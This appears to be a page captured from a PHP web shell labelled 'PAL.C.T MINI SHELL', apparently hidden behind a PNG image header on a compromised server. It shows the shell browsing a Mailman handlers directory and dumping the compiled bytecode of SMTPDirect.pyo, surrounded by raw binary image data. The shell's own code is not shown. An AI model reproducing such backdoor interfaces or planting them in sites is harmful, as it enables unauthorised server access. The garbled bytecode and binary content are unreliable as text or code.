php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Handlers/
upload
files >> //usr/lib/mailman/Mailman/Handlers/SMTPDirect.pyo

Pc@sSdZddkZddkZddkZddkZddklZddklZddkl	Z	ddkl
Z
ddklZddk
lZdd	klZddkZdd
klZddklZddklZd
ZyeefWnej
odZdZnXdddYZdZdZdZdZ dS(sLocal SMTP direct drop-off.

This module delivers messages via SMTP to a locally specified daemon.  This
should be compatible with any modern SMTP server.  It is expected that the MTA
handles all final delivery.  We have to play tricks so that the list object
isn't locked while delivery occurs synchronously.

Note: This file only handles single threaded delivery.  See SMTPThreaded.py
for a threaded implementation.
iN(tUnicodeType(tmm_cfg(tUtils(tErrors(tDecorate(tsyslog(tMsgSafeDict(t
formataddr(tHeader(tCharsett.iit
ConnectioncBs,eZdZdZdZdZRS(cCs
d|_dS(N(tNonet_Connection__conn(tself((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SMTPDirect.pyt__init__;scCs8ti|_|iitititi|_dS(N(	tsmtplibtSMTPR
tconnectRtSMTPHOSTtSMTPPORTt SMTP_MAX_SESSIONS_PER_CONNECTIONt_Connection__numsessions(R((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SMTPDirect.pyt	__connect>scCs|idjo|iny|ii|||}Wn#tij
o|inX|id8_|idjo|in|S(Nii(R
Rt_Connection__connecttsendmailRt
SMTPExceptiontquitR(Rt	envsendertrecipstmsgtexttresults((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SMTPDirect.pyRCs
cCsL|idjodSy|iiWntij
onXd|_dS(N(R
RRRR(R((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SMTPDirect.pyRVs(t__name__t
__module__RRRR(((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SMTPDirect.pyR:s			cCs>|id}|pdS|id}|djo-|o|i}qdtidd}nd}|idp|doR|idp
|io8g}|D]}||gq~}d|d<t}n0ti	djo
|g}nt
|ti	}|id	o|d	}n|djo;|id
p!ti|||t
|d
<nt}nh}	ti}
|d}|id|i}t}
z}||d	<xe|o]|i}||d<y||||||	|
Wqtj
o|i|qXqW|d	=Wd|
i||d<Xti}t|h||
d6t|id
6t|d6t|	d6|id6|d6}tio(titidtidd|n|	o6tio(titidtidd|q[nG|ido6tio(titidtidd|q[ng}g}x|	iD]\}\}}|djo|djo|i|n|i|ti oJ|i!h|d6|d6|d6titi dti dd|qtqtW|p|ot"i#||ndS(NRRtextratbouncestpersonalizetverpiitundeliveredt	decoratedtoriginal_senderttimetsizes#recipss#refusedtlistnametsendertkwsttolistii(t	recipienttfailcodetfailmsg($tgetRtGetBouncesEmailRtget_site_emailthas_keyR$tverpdeliverRtSMTP_MAX_RCPTStchunkifyRtprocesstTruetbulkdeliverR)t
get_senderRtpopt	ExceptiontappendRRtlent	as_stringt
internal_nametSMTP_LOG_EVERY_MESSAGERtwrite_extSMTP_LOG_REFUSEDtSMTP_LOG_SUCCESStitemstSMTP_LOG_EACH_FAILUREtupdateRtSomeRecipientsFailed(tmlisttmsgtmsgdataRRtdeliveryfunct_[1]treciptchunkstrefusedtt0t
origrecipst
origsendertconntchunktt1tdttempfailurestpermfailurestcodetsmtpmsg((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SMTPDirect.pyR9as
$





	















cCsYhdd6dd6dd6dd6dd6dd	6}h}x}|D]u}d}|id
}|djo||d}n|i|d}|i|g}|i||||<q=Wg}	g}
d}x|iD]|}xO|D]G}|
i||d}||jo|	i|
g}
d}qqW|
o|	i|
g}
d}qqW|	S(NitcomitnettorgitedutustcaR
i(RtrfindR2R?tvalues(Rt	chunksizetchunkmaptbucketstrttldtitbintbucketRQtcurrentchunktchunklen((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SMTPDirect.pyR8sF









cCs-x&|dD]}|g|d<ti|}ti||||idoti|\}}	ti|\}
}|djotdd|qnh|d6|
d6t	i
|d6}dti|t	i
|	f}n|i
d	jo|d
=d}
|i|o|i|}
n|
oti|i|}|djo
d}nt|}|ipd
}t|
tpt|
|d}
nt|
|i}
t|
|f|d<q||d<n|d=|idhi|od|d<nt||||||qWdS(NRR%tsmtps*Skipping VERP delivery to unqual recip: %sR#tmailboxthosts%s@%sittosus-asciis
iso-8859-1tasciitreplacetTosx-mailman-copysadd-dup-headertyessX-Mailman-Copy(tcopytdeepcopyRR9R2Rt
ParseEmailRRtDOTtjoinRtVERP_FORMATR$tisMembert
getMemberNamet
GetCharSettgetMemberLanguageR	tinput_codect
isinstanceRtunicodeRtencodeRR5R;(RKRLRMRtfailuresRVRPtmsgcopytbmailboxtbdomaintrmailboxtrdomainRYtnametcharsettcodec((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SMTPDirect.pyR6sH	

	
$

c
Cs|d=|d=||d<||d<|idt}h}|d}|d}	y|i|||}Wntij
o%}
tdd	|
|	|
i}ntij
op}
tdd
|
i|
i	|	|
idjp|
idjo+x(|D]}|
i|
i	f||<qWqnet
itti
fj
oI}
tdd
|
|	t|
}x#|D]}d|f||<q`WnX|i|dS(NR,s	errors-totSenders	Errors-Totmangle_from_Rs
message-idssmtp-failures%All recipients refused: %s, msgid: %ss'SMTP session failure: %s, %s, msgid: %sii(s#Low level smtp error: %s, msgid: %si(RAtFalseRRtSMTPRecipientsRefusedRt
recipientstSMTPResponseExceptiont	smtp_codet
smtp_errortsocketterrortIOErrorRtstrRI(
RKRLRMRRRVRRRRtmsgidteRiR((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SMTPDirect.pyR;]s8	



	

	 "((!t__doc__RxR)RRttypesRtMailmanRRRtMailman.HandlersRtMailman.Logging.SyslogRtMailman.SafeDictRtemailtemail.UtilsRtemail.HeaderRt
email.CharsetR	R{R:Rt	NameErrorRR9R8R6R;(((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/SMTPDirect.pyt<module>s4'		+	F
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`